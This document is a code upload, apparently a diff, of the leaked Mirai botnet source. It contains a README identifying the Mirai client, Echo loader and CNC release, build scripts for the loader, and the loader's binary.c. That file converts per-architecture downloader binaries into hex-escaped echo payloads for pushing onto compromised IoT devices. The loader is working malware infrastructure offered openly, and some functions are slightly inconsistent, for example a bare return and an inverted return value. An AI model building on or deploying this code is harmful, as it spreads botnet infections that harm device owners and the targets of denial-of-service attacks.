Code Upload

Code Upload

README.md

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+# Mirai Botnet Client, Echo Loader and CNC source code release
+
+This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/).

loader/build.debug.sh

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+#!/bin/bash
+gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg

loader/build.sh

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+#!/bin/bash
+gcc -static -O3 -lpthread -pthread src/*.c -o loader

loader/src/binary.c

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+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <glob.h>
+#include "headers/includes.h"
+#include "headers/binary.h"
+
+static int bin_list_len = 0;
+static struct binary **bin_list = NULL;
+
+BOOL binary_init(void)
+{
+    glob_t pglob;
+    int i;
+
+    if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
+    {
+        printf("Failed to load from bins folder!\n");
+        return;
+    }
+
+    for (i = 0; i < pglob.gl_pathc; i++)
+    {
+        char file_name[256];
+        struct binary *bin;
+
+        bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
+        bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
+        bin = bin_list[bin_list_len++];
+
+#ifdef DEBUG
+        printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
+#endif
+        strcpy(file_name, pglob.gl_pathv[i]);
+        strtok(file_name, ".");
+        strcpy(bin->arch, strtok(NULL, "."));
+        load(bin, pglob.gl_pathv[i]);
+    }
+
+    globfree(&pglob);
+    return TRUE;
+}
+
+struct binary *binary_get_by_arch(char *arch)
+{
+    int i;
+
+    for (i = 0; i < bin_list_len; i++)
+    {
+        if (strcmp(arch, bin_list[i]->arch) == 0)
+            return bin_list[i];
+    }
+
+    return NULL;
+}
+
+static BOOL load(struct binary *bin, char *fname)
+{
+    FILE *file;
+    char rdbuf[BINARY_BYTES_PER_ECHOLINE];
+    int n;
+
+    if ((file = fopen(fname, "r")) == NULL)
+    {
+        printf("Failed to open %s for parsing\n", fname);
+        return FALSE;
+    }
+
+    while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
+    {
+        char *ptr;
+        int i;
+
+        bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));
+        bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);
+        ptr = bin->hex_payloads[bin->hex_payloads_len++];
+
+        for (i = 0; i < n; i++)
+            ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
+    }
+
+    return FALSE;
+}